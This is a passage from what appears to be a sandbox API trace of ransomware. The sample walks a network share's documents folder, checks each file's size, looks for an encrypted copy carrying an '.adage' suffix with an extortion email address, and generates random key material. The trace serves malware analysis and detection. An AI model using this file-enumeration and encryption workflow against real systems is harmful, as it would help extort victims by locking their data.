GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=37636) returned 1 [0140.107] CloseHandle (hObject=0x2b4) returned 1 [0140.107] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\bVYQpQ1.mp4" (normalized: "\\\\192.168.0.1\\documents\\bvyqpq1.mp4")) returned 0x80 [0140.107] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\bVYQpQ1.mp4.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\bvyqpq1.mp4.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0140.108] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\bVYQpQ1.mp4" (normalized: "\\\\192.168.0.1\\documents\\bvyqpq1.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.111] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0140.111] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\pQaKrG.pptx" (normalized: "\\\\192.168.0.1\\documents\\pqakrg.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0140.113] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=55074) returned 1 [0140.113] CloseHandle (hObject=0x2b4) returned 1 [0140.113] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\pQaKrG.pptx" (normalized: "\\\\192.168.0.1\\documents\\pqakrg.pptx")) returned 0x80 [0140.113] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\pQaKrG.pptx.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\pqakrg.pptx.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0140.113] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\pQaKrG.pptx" (normalized: "\\\\192.168.0.1\\documents\\pqakrg.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.117] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0140.117] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\AzVWpbVP.doc" (normalized: "\\\\192.168.0.1\\documents\\azvwpbvp.doc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0140.119] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=62626) returned 1 [0140.119] CloseHandle (hObject=0x2b4) returned 1 [0140.119] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\AzVWpbVP.doc" (normalized: "\\\\192.168.0.1\\documents\\azvwpbvp.doc")) returned 0x80 [0140.119] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\AzVWpbVP.doc.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\azvwpbvp.doc.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0140.119] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\AzVWpbVP.doc" (normalized: "\\\\192.168.0.1\\documents\\azvwpbvp.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.123] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0140.123] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\EmJj9nJ.pptx" (normalized: "\\\\192.168.0.1\\documents\\emjj9nj.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0140.125] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=72581) returned 1 [0140.125] CloseHandle (hObject=0x2b0) returned 1 [0140.125] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\EmJj9nJ.pptx" (normalized: "\\\\192.168.0.1\\documents\\emjj9nj.pptx")) returned 0x80 [0140.125] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\EmJj9nJ.pptx.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\emjj9nj.pptx.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0140.125] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\EmJj9nJ.pptx" (normalized: "\\\\192.168.0.1\\documents\\emjj9nj.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.129] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0140.129] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\fUgAWuSkZ3EbpCZ5Rvs.gif" (normalized: "\\\\192.168.0.1\\documents\\fugawuskz3ebpcz5rvs.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0140.131] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=44539) returned 1 [0140.131] CloseHandle (hObject=0x2b0) returned 1 [0140.131] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\fUgAWuSkZ3EbpCZ5Rvs.gif" (normalized: "\\\\192.168.0.1\\documents\\fugawuskz3ebpcz5rvs.gif")) returned 0x80 [0140.131] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\fUgAWuSkZ3EbpCZ5Rvs.gif.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\fugawuskz3ebpcz5rvs.gif.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0140.132] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\fUgAWuSkZ3EbpCZ5Rvs.gif" (normalized: "\\\\192.168.0.1\\documents\\fugawuskz3ebpcz5rvs.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.135] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0140.135] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\MwAvirxPiQV.swf" (normalized: "\\\\192.168.0.1\\documents\\mwavirxpiqv.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0140.137] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=28607) returned 1 [0140.137] CloseHandle (hObject=0x2b0) returned 1 [0140.137] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\MwAvirxPiQV.swf" (normalized: "\\\\192.168.0.1\\documents\\mwavirxpiqv.swf")) returned 0x80 [0140.137] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\MwAvirxPiQV.swf.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\mwavirxpiqv.swf.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0140.138] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\MwAvirxPiQV.swf" (normalized: "\\\\192.168.0.1\\documents\\mwavirxpiqv.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.141] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0140.141] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\vfiyj.gif" (normalized: "\\\\192.168.0.1\\documents\\vfiyj.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0140.148] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=78747) returned 1 [0140.148] CloseHandle (hObject=0x2b0) returned 1 [0140.148] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\vfiyj.gif" (normalized: "\\\\192.168.0.1\\documents\\vfiyj.gif")) returned 0x80 [0140.148] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\vfiyj.gif.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\vfiyj.gif.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0140.148] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\vfiyj.gif" (normalized: "\\\\192.168.0.1\\documents\\vfiyj.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.166] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0140.167] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\USKBVwnLaYIUmcn.mp4" (normalized: "\\\\192.168.0.1\\documents\\uskbvwnlayiumcn.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0140.169] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=86639) returned 1 [0140.169] CloseHandle (hObject=0x2b0) returned 1 [0140.179] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\USKBVwnLaYIUmcn.mp4" (normalized: "\\\\192.168.0.1\\documents\\uskbvwnlayiumcn.mp4")) returned 0x80 [0140.184] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\USKBVwnLaYIUmcn.mp4.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\uskbvwnlayiumcn.mp4.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0140.184] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\USKBVwnLaYIUmcn.mp4" (normalized: "\\\\192.168.0.1\\documents\\uskbvwnlayiumcn.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.198] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0140.198] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\s6JQB.pptx" (normalized: "\\\\192.168.0.1\\documents\\s6jqb.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0140.201] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=34525) returned 1 [0140.201] CloseHandle (hObject=0x2b0) returned 1 [0140.201] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\s6JQB.pptx" (normalized: "\\\\192.168.0.1\\documents\\s6jqb.pptx")) returned 0x80 [0140.201] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\s6JQB.pptx.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\s6jqb.pptx.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0140.201] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\s6JQB.pptx" (normalized: "\\\\192.168.0.1\\documents\\s6jqb.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.205] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0140.205] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\sl70jWmP2ggACy.png" (normalized: "\\\\192.168.0.1\\documents\\sl70jwmp2ggacy.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0140.207] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=40815) returned 1 [0140.207] CloseHandle (hObject=0x2b0) returned 1 [0140.207] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\sl70jWmP2ggACy.png" (normalized: "\\\\192.168.0.1\\documents\\sl70jwmp2ggacy.png")) returned 0x80 [0140.207] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\sl70jWmP2ggACy.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\sl70jwmp2ggacy.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0140.208] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\sl70jWmP2ggACy.png" (normalized: "\\\\192.168.0.1\\documents\\sl70jwmp2ggacy.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.213] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0140.213] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\NBAT3tYNBcHdC.ppt" (normalized: "\\\\192.168.0.1\\documents\\nbat3tynbchdc.ppt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0140.215] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=43865) returned 1 [0140.215] CloseHandle (hObject=0x2b0) returned 1 [0140.215] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\NBAT3tYNBcHdC.ppt" (normalized: "\\\\192.168.0.1\\documents\\nbat3tynbchdc.ppt")) returned 0x80 [0140.215] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\NBAT3tYNBcHdC.ppt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\nbat3tynbchdc.ppt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0140.215] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\NBAT3tYNBcHdC.ppt" (normalized: "\\\\192.168.0.1\\documents\\nbat3tynbchdc.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.221] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0140.221] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\cdHLWs2KE.docx" (normalized: "\\\\192.168.0.1\\documents\\cdhlws2ke.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0140.224] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=26891) returned 1 [0140.224] CloseHandle (hObject=0x2b0) returned 1 [0140.224] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\cdHLWs2KE.docx" (normalized: "\\\\192.168.0.1\\documents\\cdhlws2ke.docx")) returned 0x80 [0140.224] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\cdHLWs2KE.docx.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\cdhlws2ke.docx.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0140.224] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\cdHLWs2KE.docx" (normalized: "\\\\192.168.0.1\\documents\\cdhlws2ke.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.234] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0140.234] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\SHCEF.gif" (normalized: "\\\\192.168.0.1\\documents\\shcef.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0140.264] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=62335) returned 1 [0140.264] CloseHandle (hObject=0x2b0) returned 1 [0140.264] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\SHCEF.gif" (normalized: "\\\\192.168.0.1\\documents\\shcef.gif")) returned 0x80 [0140.264] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\SHCEF.gif.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\shcef.gif.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0140.264] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\SHCEF.gif" (normalized: "\\\\192.168.0.1\\documents\\shcef.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.268] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0140.268] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\P6tWitG0.ppt" (normalized: "\\\\192.168.0.1\\documents\\p6twitg0.ppt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0140.270] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=64695) returned 1 [0140.270] CloseHandle (hObject=0x2b0) returned 1 [0140.270] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\P6tWitG0.ppt" (normalized: "\\\\192.168.0.1\\documents\\p6twitg0.ppt")) returned 0x80 [0140.270] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\P6tWitG0.ppt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\p6twitg0.ppt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0140.270] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\P6tWitG0.ppt" (normalized: "\\\\192.168.0.1\\documents\\p6twitg0.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.418] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0140.430] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\X18sQ2pVfY.mp3" (normalized: "\\\\192.168.0.1\\documents\\x18sq2pvfy.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0140.447] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=79069) returned 1 [0140.447] CloseHandle (hObject=0x2b0) returned 1 [0140.448] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\X18sQ2pVfY.mp3" (normalized: "\\\\192.168.0.1\\documents\\x18sq2pvfy.mp3")) returned 0x80 [0140.448] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\X18sQ2pVfY.mp3.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\x18sq2pvfy.mp3.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0140.448] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\X18sQ2pVfY.mp3" (normalized: "\\\\192.168.0.1\\documents\\x18sq2pvfy.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.588] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0140.588] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\BDK13uXlqscCs2sGFIQ.doc" (normalized: "\\\\192.168.0.1\\documents\\bdk13uxlqsccs2sgfiq.doc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0140.608] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=23493) returned 1 [0140.608] CloseHandle (hObject=0x2b0) returned 1 [0140.608] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\BDK13uXlqscCs2sGFIQ.doc" (normalized: "\\\\192.168.0.1\\documents\\bdk13uxlqsccs2sgfiq.doc")) returned 0x80 [0140.608] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\BDK13uXlqscCs2sGFIQ.doc.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\bdk13uxlqsccs2sgfiq.doc.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0140.609] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\BDK13uXlqscCs2sGFIQ.doc" (normalized: "\\\\192.168.0.1\\documents\\bdk13uxlqsccs2sgfiq.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.661] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0140.661] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\KLUwMaQCvDlNDoCoQ3.xls" (normalized: "\\\\192.168.0.1\\documents\\kluwmaqcvdlndocoq3.xls"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0140.666] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=73178) returned 1 [0140.666] CloseHandle (hObject=0x2b0) returned 1 [0140.667] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\KLUwMaQCvDlNDoCoQ3.xls" (normalized: "\\\\192.168.0.1\\documents\\kluwmaqcvdlndocoq3.xls")) returned 0x80 [0140.667] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\KLUwMaQCvDlNDoCoQ3.xls.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\kluwmaqcvdlndocoq3.xls.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0140.667] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\KLUwMaQCvDlNDoCoQ3.xls" (normalized: "\\\\192.168.0.1\\documents\\kluwmaqcvdlndocoq3.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.705] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0140.705] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\OCVoNePy.png" (normalized: "\\\\192.168.0.1\\documents\\ocvonepy.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0140.718] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=88645) returned 1 [0140.718] CloseHandle (hObject=0x2b0) returned 1 [0140.718] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\OCVoNePy.png" (normalized: "\\\\192.168.0.1\\documents\\ocvonepy.png")) returned 0x80 [0140.718] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\OCVoNePy.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\ocvonepy.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0140.719] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\OCVoNePy.png" (normalized: "\\\\192.168.0.1\\documents\\ocvonepy.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.738] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0140.738] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ywcd6Y1iM3n9j4GZ20Ya.png" (normalized: "\\\\192.168.0.1\\documents\\ywcd6y1im3n9j4gz20ya.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0140.757] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=94142) returned 1 [0140.757] CloseHandle (hObject=0x2b0) returned 1 [0140.757] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ywcd6Y1iM3n9j4GZ20Ya.png" (normalized: 